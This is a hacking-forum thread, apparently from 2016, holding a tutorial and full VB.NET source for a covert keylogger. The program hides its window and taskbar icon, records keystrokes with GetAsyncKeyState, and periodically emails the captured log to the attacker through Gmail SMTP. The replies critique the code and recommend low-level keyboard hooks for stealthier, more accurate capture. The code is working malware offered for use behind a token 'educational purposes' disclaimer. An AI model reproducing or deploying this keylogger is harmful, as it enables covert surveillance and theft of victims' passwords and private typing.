Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

How to make a simple email Keylogger - VB.net

Hello guys,
This is one of my first projects i done with VB.net.
its really simple Keylogger (sending keyloggs)
the code is really simple and it's great way to learn the basics of hacking

Lets start:

- First step is to creat new VB project - Form application with .Net 3.5

- Now we need to add to our form simple Textbox and name it: "txtLog"
Should look like that:Here

- Put 2 timers and name one of them "tmrEmail" and te second one "tmrKey"

-Set the 2 timers like on THIS PICTURE, The "tmrEmail" interval is the time take the keylogger to send an email and the "tmrKey" inteval it's on how much time the keylogger capture key strokes (the time is 60,000=1min)

Now for the code-Double click on the form (form1) and instert this code:(Explaining notes include on the code)
dont forgat put your email on the code PICTURE HERE

Code
Option Strict On
Imports System.Net.Mail

'Created by- Momenzy ~HF
'Email sending keylogger in VB.Net
'This program is created for educational purposes only. Any misconduct and potential legal actions
'is placed upon ones' self and I face no liability for your actions
'Created by- Momenzy ~HF
'LS-Shnayder

Class Form1

    'Allowing ourselves access to gather keystroke data
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
    Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
        Try
            Dim smtpserver As New SmtpClient
            smtpserver.EnableSsl = True
            'email,password
            smtpserver.Credentials = New Net.NetworkCredential("email", "password")
            smtpserver.Port = 587
            smtpserver.Host = "smtp.gmail.com"
            'Configuring our email message
            Dim mail As New MailMessage
            mail = New MailMessage
            mail.From = New MailAddress("sender email", "sender display name")
            mail.To.Add("receiver email")
            mail.Subject = ("New Key Log Data")
            mail.Body = Txtlogs.Text
            smtpserver.Send(mail)

        Catch ex As Exception
            Me.Close()

        End Try
    End Sub

    'timerKey code
    Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer

        'For statement to get our keystrokes (each time user click key)
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i

        'Determining if the user is typing in upper or lower case font
        If key <> Nothing Then
            'if key = Caps/Shift Hold send the log with Capital letter
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                Txtlogs.Text &= key
                'else letter = lower
            Else
                Txtlogs.Text &= key.ToLower
            End If

        End If

        'If the user clicks CTRL+ALT+V he turn the visibiity of the program to true (not visible anymore)
        If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
            Me.Visible = True
        End If

    End Sub

    'Send notification if the logger has been stopped (include time)
    Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
        Txtlogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
    End Sub

    'Making our program invisible (invisibale Icon + Taskbar) + Keylogger injection time
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Me.Visible = False
        Txtlogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
    End Sub

End Class

That it, Now you can test it by clicking on the Start button and check if you receave all the keylogs to your email.

Hope someone will found this helpfull ,
Feel free to ask any question/PM me for help 🤝
[Image: iPEsEee.gif?1]
Alskling approves this thread.

https://hackforums.net/showthread.php?tid=5379747

3 post below (literally)

🤣
(Sep 1, 2016 04:48 AM)Zilog80 Wrote:  Alskling approves this thread.

https://hackforums.net/showthread.php?tid=5379747

3 post below (literally)

🤣

And? are you kidding me?
First of all i didnt even watched his tutorial, then i pretty sure its complitly diffrent from what he published !
seconds, you can go to keylogger forum section and see how many threads are opend that selling the same product (same as crypters and rats)! in programing we can make the same product with really diffrent code and you can always learn something new,
go approve something else🤦‍♂
[Image: iPEsEee.gif?1]
(Sep 1, 2016 07:15 AM)Clint Eastwood. Wrote:  ...in programing we can make the same product with really diffrent code and you can always learn something new...

Hope not to be rude, but your 'KeyLogger source' is like (see strong quote):

PHP Code

<?php 
Private Sub Foo()
    
Console.WriteLine("5 x 1 = " & 5 * 1)
    
Console.WriteLine("5 x 2 = " & 5 * 2)
    
Console.WriteLine("5 x 3 = " & 5 * 3)
    
Console.WriteLine("5 x 4 = " & 5 * 4)
    
Console.WriteLine("5 x 5 = " & 5 * 5)
    
Console.WriteLine("5 x 6 = " & 5 * 6)
    
Console.WriteLine("5 x 7 = " & 5 * 7)
    
Console.WriteLine("5 x 8 = " & 5 * 8)
    
Console.WriteLine("5 x 9 = " & 5 * 9)
    
Console.WriteLine("5 x 10 = " & 5 * 10)
End Sub 

Instead this:

PHP Code

<?php 
Private Sub HaxorFoo(n As Integer, f As Integer, t As Integer)
    For 
i As Integer = f To t
        Console
.WriteLine($"{n} x {i} = {n * i}")
    
Next
End Sub

Usage
:

HaxorFoo(5, 1, 10) 

Both codes do the 'same' but...well you know.

Some tips:

GetAsyncKeyState, really?
Have you ever read something about 'keyboard hooks'?

Why is the reason for using TextBox control to 'log' keystrokes? You can use String variable, List Of(), Array, Collection or whatever to store keystrokes.

Timer for e-mail: Pretty useless. What happens if nobody press any key since 5 minutes? You will send 6 identical e-mails? (also sending e-mail each 30 seconds, say good bye to your Gmail account due to Google caps)

FormClosed event pretty useless too: you update your 'txtLog' but Timer e-mail don't send anything.

And finally: Why .NET 3.5? Some really good explanation? (You know since Win 8 .NET 2/3.5 isn't installed by default?)

Hope it helps.
(Sep 1, 2016 11:34 AM)Zilog80 Wrote:  Hope not to be rude, but your 'KeyLogger source' is like (see strong quote):

PHP Code

<?php 
Private Sub Foo()
    
Console.WriteLine("5 x 1 = " & 5 * 1)
    
Console.WriteLine("5 x 2 = " & 5 * 2)
    
Console.WriteLine("5 x 3 = " & 5 * 3)
    
Console.WriteLine("5 x 4 = " & 5 * 4)
    
Console.WriteLine("5 x 5 = " & 5 * 5)
    
Console.WriteLine("5 x 6 = " & 5 * 6)
    
Console.WriteLine("5 x 7 = " & 5 * 7)
    
Console.WriteLine("5 x 8 = " & 5 * 8)
    
Console.WriteLine("5 x 9 = " & 5 * 9)
    
Console.WriteLine("5 x 10 = " & 5 * 10)
End Sub 

Instead this:

PHP Code

<?php 
Private Sub HaxorFoo(n As Integer, f As Integer, t As Integer)
    For 
i As Integer = f To t
        Console
.WriteLine($"{n} x {i} = {n * i}")
    
Next
End Sub

Usage
:

HaxorFoo(5, 1, 10) 

Both codes do the 'same' but...well you know.

Some tips:

GetAsyncKeyState, really?
Have you ever read something about 'keyboard hooks'?

Why is the reason for using TextBox control to 'log' keystrokes? You can use String variable, List Of(), Array, Collection or whatever to store keystrokes.

Timer for e-mail: Pretty useless. What happens if nobody press any key since 5 minutes? You will send 6 identical e-mails? (also sending e-mail each 30 seconds, say good bye to your Gmail account due to Google caps)

FormClosed event pretty useless too: you update your 'txtLog' but Timer e-mail don't send anything.

And finally: Why .NET 3.5? Some really good explanation? (You know since Win 8 .NET 2/3.5 isn't installed by default?)

Hope it helps.
First of all ty for the tips,
This is .net 3.5 because it's kinda old project and the main idea of it is learning...
[Image: iPEsEee.gif?1]
This technique is old plus its very heavy , use low level keyboard hooks :)
(Sep 3, 2016 11:05 PM)Vector.A+ Wrote:  This technique is old plus its very heavy , use low level keyboard hooks :)

And using this code, you can't capture the key, accurately.
Keyboard hooks mate.
This will flag everything and everything at runtime for one
two, keyboard hooks are more elegant, less memory intensive and capture more better and faster
When i saw "GetAsyncKeyState" i'm done not even worth to read the code
Жизнь это не те дни, что прошли, а те, что запомнились


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by YenMan089Aug 6, 2016 01:09 PM 5 241 Aug 6, 2016 01:09 PM
Last Post: SIM-2914476
[.NET] by TazzounetDec 20, 2014 08:45 AM 7 165 Dec 20, 2014 08:45 AM
Last Post: SIM-1984933
[.NET] by StyleOct 9, 2014 02:01 PM 58 3,112 Oct 9, 2014 02:01 PM
Last Post: WillysFineCola